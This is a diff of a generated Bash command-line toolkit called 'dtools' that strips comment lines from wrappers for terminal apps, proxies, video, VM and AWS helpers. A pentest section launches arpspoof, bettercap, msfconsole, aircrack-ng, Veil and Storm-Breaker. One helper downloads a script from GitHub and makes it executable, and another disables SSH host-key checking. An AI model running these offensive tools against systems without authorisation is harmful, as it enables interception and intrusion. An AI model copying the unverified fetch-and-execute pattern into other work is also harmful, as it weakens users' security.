:command.function dtools_tui_network_network_manager_command() { - # src/commands/tui/network/network-manager.sh nmtui } -# :command.function dtools_tui_network_bluetooth_manager_command() { - # src/commands/tui/network/bluetooth-manager.sh bluetuith } -# :command.function dtools_tui_network_wireguard_config_command() { - # src/commands/tui/network/wireguard-config.sh wg-cmd } -# :command.function dtools_tui_network_mitm_proxy_command() { - # src/commands/tui/network/mitm-proxy.sh mitmproxy } -# :command.function dtools_tui_network_proxy_command() { - # src/commands/tui/network/proxy.sh proxyfor } -# :command.function dtools_tui_network_proxymock_command() { - # src/commands/tui/network/proxymock.sh proxymock } -# :command.function dtools_tui_network_http_load_generator_command() { - # src/commands/tui/network/http-load-generator.sh oha } -# :command.function dtools_tui_network_ping_command() { - # src/commands/tui/network/ping.sh gping } -# :command.function dtools_tui_network_full_browser_command() { - # src/commands/tui/network/full-browser.sh docker run -it browsh/browsh } -# :command.function dtools_tui_network_elinks_command() { - # src/commands/tui/network/elinks.sh elinks } -# :command.function dtools_tui_network_w3m_command() { - # src/commands/tui/network/w3m.sh w3m } -# :command.function dtools_tui_network_lynx_command() { - # src/commands/tui/network/lynx.sh lynx } -# :command.function dtools_tui_network_carbonyl_command() { - # src/commands/tui/network/carbonyl.sh carbonyl } -# :command.function dtools_tui_network_http_request_client_command() { - # src/commands/tui/network/http-request-client.sh wuzz } -# :command.function dtools_tui_network_http_request_client_2_command() { - # src/commands/tui/network/http-request-client-2.sh slumber } -# :command.function dtools_tui_network_api_client_command() { - # src/commands/tui/network/api-client.sh atac } -# :command.function dtools_tui_docker_docker_command() { - # src/commands/tui/docker/docker.sh lazydocker } -# :command.function dtools_tui_docker_docker_layer_analyzer_command() { - # src/commands/tui/docker/docker-layer-analyzer.sh dive } -# :command.function dtools_tui_docker_kubernetes_command() { - # src/commands/tui/docker/kubernetes.sh k9s } -# :command.function dtools_tui_development_git_command() { - # src/commands/tui/development/git.sh gitui } -# :command.function dtools_tui_development_jira_command() { - # src/commands/tui/development/jira.sh jirust } -# :command.function dtools_tui_development_readme_command() { - # src/commands/tui/development/readme.sh glow } -# :command.function dtools_tui_development_tail_logs_command() { - # src/commands/tui/development/tail-logs.sh lnav } -# :command.function dtools_tui_development_drft_command() { - # src/commands/tui/development/drft.sh drft } -# :command.function dtools_tui_development_wrkflw_command() { - # src/commands/tui/development/wrkflw.sh wrkflw } -# :command.function dtools_tui_development_gama_command() { - # src/commands/tui/development/gama.sh echo "# This file is located at 'src/commands/tui/development/gama.sh'." echo "# It contains the implementation for the 'dtools tui development gama' command." echo "# The code you write here will be wrapped by a function named 'dtools_tui_development_gama_command()'." @@ -11673,26 +10376,20 @@ dtools_tui_development_gama_command() { } -# :command.function dtools_tui_development_ecs_command() { - # src/commands/tui/development/ecs.sh e1s } -# :command.function dtools_tui_development_openapi_command() { - # src/commands/tui/development/openapi.sh openapi-tui } -# :command.function dtools_tui_development_gcs_command() { - # src/commands/tui/development/gcs.sh # shellcheck disable=SC2154 declare gcs_url="${args[gcs_url]}" @@ -11700,26 +10397,20 @@ dtools_tui_development_gcs_command() { } -# :command.function dtools_tui_development_prs_command() { - # src/commands/tui/development/prs.sh prs } -# :command.function dtools_tui_development_s3_command() { - # src/commands/tui/development/s3.sh stu } -# :command.function dtools_tui_development_terraform_command() { - # src/commands/tui/development/terraform.sh # shellcheck disable=SC2154 if [[ "${args[--terraform]}" == 1 ]]; then pug @@ -11729,216 +10420,162 @@ dtools_tui_development_terraform_command() { } -# :command.function dtools_tui_development_journal_command() { - # src/commands/tui/development/journal.sh lazyjournal } -# :command.function dtools_tui_development_multi_host_log_viewer_command() { - # src/commands/tui/development/multi-host-log-viewer.sh nerdlog } -# :command.function dtools_tui_dev_help_stack_overflow_command() { - # src/commands/tui/dev-help/stack-overflow.sh so } -# :command.function dtools_tui_dev_help_wiki_command() { - # src/commands/tui/dev-help/wiki.sh wiki-tui } -# :command.function dtools_tui_data_db_command() { - # src/commands/tui/data/db.sh gobang } -# :command.function dtools_tui_data_explorer_command() { - # src/commands/tui/data/explorer.sh visidata } -# :command.function dtools_tui_data_database_ide_command() { - # src/commands/tui/data/database-ide.sh harlequin } -# :command.function dtools_tui_data_kafka_command() { - # src/commands/tui/data/kafka.sh yozf } -# :command.function dtools_tui_data_jupyter_notebook_command() { - # src/commands/tui/data/jupyter-notebook.sh euporie-notebook } -# :command.function dtools_tui_misc_notes_command() { - # src/commands/tui/misc/notes.sh joplin } -# :command.function dtools_tui_misc_presentation_command() { - # src/commands/tui/misc/presentation.sh patat } -# :command.function dtools_tui_misc_dev_chat_command() { - # src/commands/tui/misc/dev-chat.sh # shellcheck disable=SC2154 ssh "${args[nickname]}@devzat.hackclub.com" } -# :command.function dtools_tui_misc_file_manager_command() { - # src/commands/tui/misc/file-manager.sh nnn } -# :command.function dtools_tui_misc_screensaver_command() { - # src/commands/tui/misc/screensaver.sh #!/bin/bash ttysvr } -# :command.function dtools_tui_misc_weather_command() { - # src/commands/tui/misc/weather.sh wego } -# :command.function dtools_tui_misc_linutil_command() { - # src/commands/tui/misc/linutil.sh linutil } -# :command.function dtools_tui_misc_slack_command() { - # src/commands/tui/misc/slack.sh slack-term } -# :command.function dtools_tui_misc_youtube_music_command() { - # src/commands/tui/misc/youtube-music.sh ytermusic } -# :command.function dtools_tui_misc_youtube_music_2_command() { - # src/commands/tui/misc/youtube-music-2.sh ytui_music run } -# :command.function dtools_tui_misc_jellyfin_command() { - # src/commands/tui/misc/jellyfin.sh jellyfin-tui } -# :command.function dtools_tui_misc_visualizations_command() { - # src/commands/tui/misc/visualizations.sh vis } -# :command.function dtools_tui_misc_visualizations_2_command() { - # src/commands/tui/misc/visualizations-2.sh cava } -# :command.function dtools_tui_misc_find_and_replace_command() { - # src/commands/tui/misc/find-and-replace.sh scooter } -# :command.function dtools_tui_misc_ascii_theater_command() { - # src/commands/tui/misc/ascii-theater.sh ssh -o StrictHostKeyChecking=no watch.ascii.theater } -# :command.function dtools_tui_misc_calendar_command() { - # src/commands/tui/misc/calendar.sh calcure } -# :command.function dtools_tui_misc_piano_command() { - # src/commands/tui/misc/piano.sh upiano } -# :command.function dtools_tui_misc_servarr_command() { - # src/commands/tui/misc/servarr.sh echo "# This file is located at 'src/commands/tui/misc/servarr.sh'." echo "# It contains the implementation for the 'dtools tui misc servarr' command." echo "# The code you write here will be wrapped by a function named 'dtools_tui_misc_servarr_command()'." @@ -11947,27 +10584,21 @@ dtools_tui_misc_servarr_command() { } -# :command.function dtools_tui_sandbox_jqp_command() { - # src/commands/tui/sandbox/jqp.sh # shellcheck disable=SC2154 jqp -f "${args[json_file]}" } -# :command.function dtools_tui_sandbox_desed_command() { - # src/commands/tui/sandbox/desed.sh desed } -# :command.function dtools_tui_sandbox_play_command() { - # src/commands/tui/sandbox/play.sh # shellcheck disable=SC2154 declare program="${args[program]}" @@ -11975,122 +10606,92 @@ dtools_tui_sandbox_play_command() { } -# :command.function dtools_tui_sandbox_regect_command() { - # src/commands/tui/sandbox/regect.sh regect } -# :command.function dtools_tui_ai_elia_command() { - # src/commands/tui/ai/elia.sh elia } -# :command.function dtools_pentest_maltego_command() { - # src/commands/pentest/maltego.sh maltego } -# :command.function dtools_pentest_ifconfig_command() { - # src/commands/pentest/ifconfig.sh ifconfig } -# :command.function dtools_pentest_netdiscover_command() { - # src/commands/pentest/netdiscover.sh netdiscover } -# :command.function dtools_pentest_nmap_command() { - # src/commands/pentest/nmap.sh nmap } -# :command.function dtools_pentest_arpspoof_command() { - # src/commands/pentest/arpspoof.sh arpspoof } -# :command.function dtools_pentest_bettercap_command() { - # src/commands/pentest/bettercap.sh bettercap } -# :command.function dtools_pentest_msfconsole_command() { - # src/commands/pentest/msfconsole.sh msfconsole } -# :command.function dtools_pentest_aircrack_ng_command() { - # src/commands/pentest/aircrack-ng.sh aircrack-ng } -# :command.function dtools_pentest_crunch_command() { - # src/commands/pentest/crunch.sh crunch } -# :command.function dtools_pentest_veil_command() { - # src/commands/pentest/veil.sh cd /opt/Veil && python3 Veil.py } -# :command.function dtools_pentest_ngrok_command() { - # src/commands/pentest/ngrok.sh ngrok } -# :command.function dtools_pentest_storm_breaker_command() { - # src/commands/pentest/storm-breaker.sh cd /opt/Storm-Breaker && sudo python3 st.py } -# :command.function dtools_video_rip_audio_command() { - # src/commands/video/rip-audio.sh # shellcheck disable=SC2154 declare video_file="${args[video_file]}" # shellcheck disable=SC2154 @@ -12102,10 +10703,8 @@ dtools_video_rip_audio_command() { } -# :command.function dtools_video_youtube_command() { - # src/commands/video/youtube.sh # shellcheck disable=SC2154 declare url="${args[url]}" declare playlist="${args[--playlist]}" @@ -12133,10 +10732,8 @@ dtools_video_youtube_command() { } -# :command.function dtools_video_split_scenes_command() { - # src/commands/video/split-scenes.sh # shellcheck disable=SC2154 declare video_file="${args[video_file]}" # shellcheck disable=SC2154 @@ -12158,10 +10755,8 @@ dtools_video_split_scenes_command() { } -# :command.function dtools_video_duration_command() { - # src/commands/video/duration.sh # shellcheck disable=SC2154 declare video_file="${args[video_file]}" @@ -12169,10 +10764,8 @@ dtools_video_duration_command() { } -# :command.function dtools_video_boost_audio_command() { - # src/commands/video/boost-audio.sh # shellcheck disable=SC2154 declare video_file="${args[video_file]}" # shellcheck disable=SC2154 @@ -12184,10 +10777,8 @@ dtools_video_boost_audio_command() { } -# :command.function dtools_vm_windows_command() { - # src/commands/vm/windows.sh # shellcheck disable=SC2154 declare version="${args[--version]}" # shellcheck disable=SC2154 @@ -12265,10 +10856,8 @@ dtools_vm_windows_command() { } -# :command.function dtools_vm_linux_command() { - # src/commands/vm/linux.sh # shellcheck disable=SC2154 declare dist="${args[--dist]}" # shellcheck disable=SC2154 @@ -12392,10 +10981,8 @@ dtools_vm_linux_command() { } -# :command.function dtools_vm_mac_command() { - # src/commands/vm/mac.sh # shellcheck disable=SC2154 declare version="${args[--version]}" # shellcheck disable=SC2154 @@ -12473,10 +11060,8 @@ dtools_vm_mac_command() { } -# :command.function dtools_network_generate_self_signed_certificate_command() { - # src/commands/network/generate-self-signed-certificate.sh # shellcheck disable=SC2154 declare output="${args[--output]}" # shellcheck disable=SC2154 @@ -12497,10 +11082,8 @@ dtools_network_generate_self_signed_certificate_command() { } -# :command.function dtools_network_https_proxy_command() { - # src/commands/network/https-proxy.sh # shellcheck disable=SC2154 declare https_port="${args[--https-port]}" # shellcheck disable=SC2154 @@ -12521,10 +11104,8 @@ dtools_network_https_proxy_command() { } -# :command.function dtools_network_tcp_proxy_command() { - # src/commands/network/tcp-proxy.sh # shellcheck disable=SC2154 declare tcp_host="${args[--tcp-host]}" # shellcheck disable=SC2154 @@ -12538,10 +11119,8 @@ dtools_network_tcp_proxy_command() { } -# :command.function dtools_network_proxy_with_nginx_command() { - # src/commands/network/proxy-with-nginx.sh # shellcheck disable=SC2154 declare tcp_port="${args[--tcp-port]}" # shellcheck disable=SC2154 @@ -12586,10 +11165,8 @@ sudo nginx -p . -g 'daemon off;' -c "$temp_config_file" } -# :command.function dtools_network_mitm_proxy_command() { - # src/commands/network/mitm-proxy.sh # shellcheck disable=SC2154 declare domain="${args[domain]}" declare port="${args[--port]}" @@ -12618,10 +11195,8 @@ mitmproxy --listen-port "$port" -s "$script_file" } -# :command.function dtools_network_archive_website_command() { - # src/commands/network/archive-website.sh # shellcheck disable=SC2154 declare url="${args[--url]}" # shellcheck disable=SC2154 @@ -12660,10 +11235,8 @@ dtools_network_archive_website_command() { } -# :command.function dtools_network_warc_2_zim_command() { - # src/commands/network/warc-2-zim.sh # shellcheck disable=SC2154 declare url="${args[--url]}" # shellcheck disable=SC2154 @@ -12702,10 +11275,8 @@ dtools_network_warc_2_zim_command() { } -# :command.function dtools_network_mermaid_api_command() { - # src/commands/network/mermaid-api.sh # shellcheck disable=SC2154 declare port="${args[port]}" @@ -12713,10 +11284,8 @@ dtools_network_mermaid_api_command() { } -# :command.function dtools_ntfy_subscribe_command() { - # src/commands/ntfy/subscribe.sh # shellcheck disable=SC2154 declare sound="${args[--sound]}" @@ -12727,19 +11296,15 @@ dtools_ntfy_subscribe_command() { fi } -# :command.function dtools_ntfy_reference_command() { - # src/commands/ntfy/reference.sh cmd="$(get_opener) $cmd "https://docs.ntfy.sh/publish/#message-title" > /dev/null 2>&1 & disown } -# :command.function dtools_document_convert_command() { - # src/commands/document/convert.sh # shellcheck disable=SC2154 declare file="${args[file]}" # shellcheck disable=SC2154 @@ -12753,10 +11318,8 @@ dtools_document_convert_command() { } -# :command.function dtools_document_merge_pdf_command() { - # src/commands/document/merge-pdf.sh # shellcheck disable=SC2154 declare output_file="${args[output-file]}" # shellcheck disable=SC2154 @@ -12766,10 +11329,8 @@ dtools_document_merge_pdf_command() { } -# :command.function dtools_document_decrypt_pdf_command() { - # src/commands/document/decrypt-pdf.sh # shellcheck disable=SC2154 declare input_file="${args[input-file]}" # shellcheck disable=SC2154 @@ -12779,10 +11340,8 @@ dtools_document_decrypt_pdf_command() { } -# :command.function dtools_git_search_history_command() { - # src/commands/git/search-history.sh # shellcheck disable=SC2154 declare search_string="${args[search-string]}" @@ -12794,10 +11353,8 @@ dtools_git_search_history_command() { } -# :command.function dtools_plot_command() { - # src/commands/plot.sh # shellcheck disable=SC2154 declare file="${args[--file]}" declare type="${args[--type]}" @@ -12850,10 +11407,8 @@ dtools_plot_command() { } -# :command.function dtools_real_time_plot_command() { - # src/commands/real-time-plot.sh if ! (command -v feedgnuplot > /dev/null 2>&1); then wget https://raw.githubusercontent.com/dkogan/feedgnuplot/master/bin/feedgnuplot chmod +x feedgnuplot @@ -12864,10 +11419,8 @@ dtools_real_time_plot_command() { } -# :command.function dtools_date_to_epoch_command() { - # src/commands/date-to-epoch.sh # shellcheck disable=SC2154 datetime="${args[timestamp]}" @@ -12879,10 +11432,8 @@ dtools_date_to_epoch_command() { } -# :command.function dtools_epoch_to_date_command() { - # src/commands/epoch-to-date.sh # shellcheck disable=SC2154 epoch="${args[epoch]}" @@ -12899,10 +11450,8 @@ dtools_epoch_to_date_command() { } -# :command.function dtools_date_to_iso_8601_command() { - # src/commands/date-to-iso-8601.sh # shellcheck disable=SC2154 datetime="${args[date]}" @@ -12914,19 +11463,15 @@ dtools_date_to_iso_8601_command() { } -# :command.function dtools_view_markdown_command() { - # src/commands/view-markdown.sh # shellcheck disable=SC2154 grip -b "${args[file]}" } -# :command.function dtools_start_simple_server_command() { - # src/commands/start-simple-server.sh # shellcheck disable=SC2154 declare port="${args[--port]}" @@ -12939,10 +11484,8 @@ dtools_start_simple_server_command() { } -# :command.function dtools_fzf_command() { - # src/commands/fzf.sh set -eo pipefail # shellcheck disable=SC2154 declare pre_processing_pipe="${args[--pre-processing]}" @@ -12959,10 +11502,8 @@ dtools_fzf_command() { } -# :command.function dtools_backup_command() { - # src/commands/backup.sh # shellcheck disable=SC2154 declare item="${args[item]}" declare backup_dest="${args[--backup-dest]}" @@ -13008,10 +11549,8 @@ dtools_backup_command() { } -# :command.function dtools_generate_password_command() { - # src/commands/generate-password.sh # shellcheck disable=SC2154 if [[ "${args[--copy-to-clipboard]}" == 1 ]]; then openssl rand -base64 32 | tr -d '\n' | xclip -sel clip @@ -13021,19 +11560,15 @@ dtools_generate_password_command() { } -# :command.function dtools_play_mp3_command() { - # src/commands/play-mp3.sh # shellcheck disable=SC2154 mpg321 -q "${args[sound]}" } -# :command.function dtools_random_int_command() { - # src/commands/random-int.sh # shellcheck disable=SC2154 declare min="${args[--min]}" declare max="${args[--max]}" @@ -13042,10 +11577,8 @@ dtools_random_int_command() { } -# :command.function dtools_random_float_command() { - # src/commands/random-float.sh # shellcheck disable=SC2154 declare min="${args[--min]}" declare max="${args[--max]}" @@ -13060,10 +11593,8 @@ dtools_random_float_command() { } -# :command.function dtools_record_shell_command() { - # src/commands/record-shell.sh # shellcheck disable=SC2154 declare output_file="${args[output_file]}" declare cast_file="${output_file}.cast" @@ -13095,11 +11626,9 @@ dtools_record_shell_command() { } -# :command.parse_requirements parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13121,7 +11650,6 @@ parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -13358,7 +11886,6 @@ parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_usage >&2 exit 1 @@ -13371,7 +11898,6 @@ parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13382,8 +11908,7 @@ parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -13394,11 +11919,9 @@ parse_requirements() { } -# :command.parse_requirements dtools_completions_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13415,10 +11938,8 @@ dtools_completions_parse_requirements() { esac done - # :command.command_filter action="completions" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13429,8 +11950,7 @@ dtools_completions_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -13441,11 +11961,9 @@ dtools_completions_parse_requirements() { } -# :command.parse_requirements dtools_update_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13462,10 +11980,8 @@ dtools_update_parse_requirements() { esac done - # :command.command_filter action="update" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13476,8 +11992,7 @@ dtools_update_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -13488,11 +12003,9 @@ dtools_update_parse_requirements() { } -# :command.parse_requirements dtools_ai_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13509,9 +12022,8 @@ dtools_ai_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v llama-cli >/dev/null 2>&1; then printf "missing dependency: llama-cli\n" >&2 printf "%s\n\n" "Install with 'brew install llama.cpp'" >&2 @@ -13524,7 +12036,6 @@ dtools_ai_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -13558,7 +12069,6 @@ dtools_ai_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_ai_usage >&2 exit 1 @@ -13571,7 +12081,6 @@ dtools_ai_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13582,8 +12091,7 @@ dtools_ai_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -13594,11 +12102,9 @@ dtools_ai_parse_requirements() { } -# :command.parse_requirements dtools_ai_chat_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13615,17 +12121,14 @@ dtools_ai_chat_parse_requirements() { esac done - # :command.command_filter action="ai chat" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --hf-repo | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--hf-repo']="$2" shift @@ -13636,10 +12139,8 @@ dtools_ai_chat_parse_requirements() { fi ;; - # :flag.case --hf-file | -f) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--hf-file']="$2" shift @@ -13656,8 +12157,7 @@ dtools_ai_chat_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -13666,17 +12166,14 @@ dtools_ai_chat_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--hf-repo']:-} ]] || args['--hf-repo']="microsoft/Phi-3-mini-4k-instruct-gguf" [[ -n ${args['--hf-file']:-} ]] || args['--hf-file']="Phi-3-mini-4k-instruct-q4.gguf" } -# :command.parse_requirements dtools_ai_start_llama_server_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13693,17 +12190,14 @@ dtools_ai_start_llama_server_parse_requirements() { esac done - # :command.command_filter action="ai start-llama-server" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --hf-repo | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--hf-repo']="$2" shift @@ -13714,10 +12208,8 @@ dtools_ai_start_llama_server_parse_requirements() { fi ;; - # :flag.case --hf-file | -f) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--hf-file']="$2" shift @@ -13734,8 +12226,7 @@ dtools_ai_start_llama_server_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -13744,17 +12235,14 @@ dtools_ai_start_llama_server_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--hf-repo']:-} ]] || args['--hf-repo']="microsoft/Phi-3-mini-4k-instruct-gguf" [[ -n ${args['--hf-file']:-} ]] || args['--hf-file']="Phi-3-mini-4k-instruct-q4.gguf" } -# :command.parse_requirements dtools_ai_open_llama_ui_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13771,10 +12259,8 @@ dtools_ai_open_llama_ui_parse_requirements() { esac done - # :command.command_filter action="ai open-llama-ui" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13785,8 +12271,7 @@ dtools_ai_open_llama_ui_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -13795,7 +12280,6 @@ dtools_ai_open_llama_ui_parse_requirements() { esac done - # :command.user_filter filter_error=$(filter_llama_running) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -13804,11 +12288,9 @@ dtools_ai_open_llama_ui_parse_requirements() { } -# :command.parse_requirements dtools_ai_open_llama_api_docs_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13825,10 +12307,8 @@ dtools_ai_open_llama_api_docs_parse_requirements() { esac done - # :command.command_filter action="ai open-llama-api-docs" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13839,8 +12319,7 @@ dtools_ai_open_llama_api_docs_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -13849,7 +12328,6 @@ dtools_ai_open_llama_api_docs_parse_requirements() { esac done - # :command.user_filter filter_error=$(filter_llama_running) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -13858,11 +12336,9 @@ dtools_ai_open_llama_api_docs_parse_requirements() { } -# :command.parse_requirements dtools_aws_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -13879,9 +12355,8 @@ dtools_aws_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 @@ -13894,7 +12369,6 @@ dtools_aws_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -13991,7 +12465,6 @@ dtools_aws_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_aws_usage >&2 exit 1 @@ -14004,7 +12477,6 @@ dtools_aws_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14015,8 +12487,7 @@ dtools_aws_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -14027,11 +12498,9 @@ dtools_aws_parse_requirements() { } -# :command.parse_requirements dtools_aws_login_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14048,17 +12517,14 @@ dtools_aws_login_parse_requirements() { esac done - # :command.command_filter action="aws login" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -14069,10 +12535,8 @@ dtools_aws_login_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -14089,8 +12553,7 @@ dtools_aws_login_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -14099,11 +12562,8 @@ dtools_aws_login_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -14112,13 +12572,11 @@ dtools_aws_login_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -14127,11 +12585,9 @@ dtools_aws_login_parse_requirements() { } -# :command.parse_requirements dtools_aws_console_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14148,9 +12604,8 @@ dtools_aws_console_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v wmctrl >/dev/null 2>&1; then printf "missing dependency: wmctrl\n" >&2 printf "%s\n\n" "Install with 'sudo apt-get install wmctrl'" >&2 @@ -14163,17 +12618,14 @@ dtools_aws_console_parse_requirements() { exit 1 fi - # :command.command_filter action="aws console" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -14184,10 +12636,8 @@ dtools_aws_console_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -14198,10 +12648,8 @@ dtools_aws_console_parse_requirements() { fi ;; - # :flag.case --service | -s) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--service']="$2" shift @@ -14218,8 +12666,7 @@ dtools_aws_console_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -14228,11 +12675,8 @@ dtools_aws_console_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -14241,13 +12685,11 @@ dtools_aws_console_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -14256,11 +12698,9 @@ dtools_aws_console_parse_requirements() { } -# :command.parse_requirements dtools_aws_shell_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14277,10 +12717,8 @@ dtools_aws_shell_parse_requirements() { esac done - # :command.command_filter action="aws shell" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -14291,8 +12729,7 @@ dtools_aws_shell_parse_requirements() { ;; *) - # :command.parse_requirements_case - # 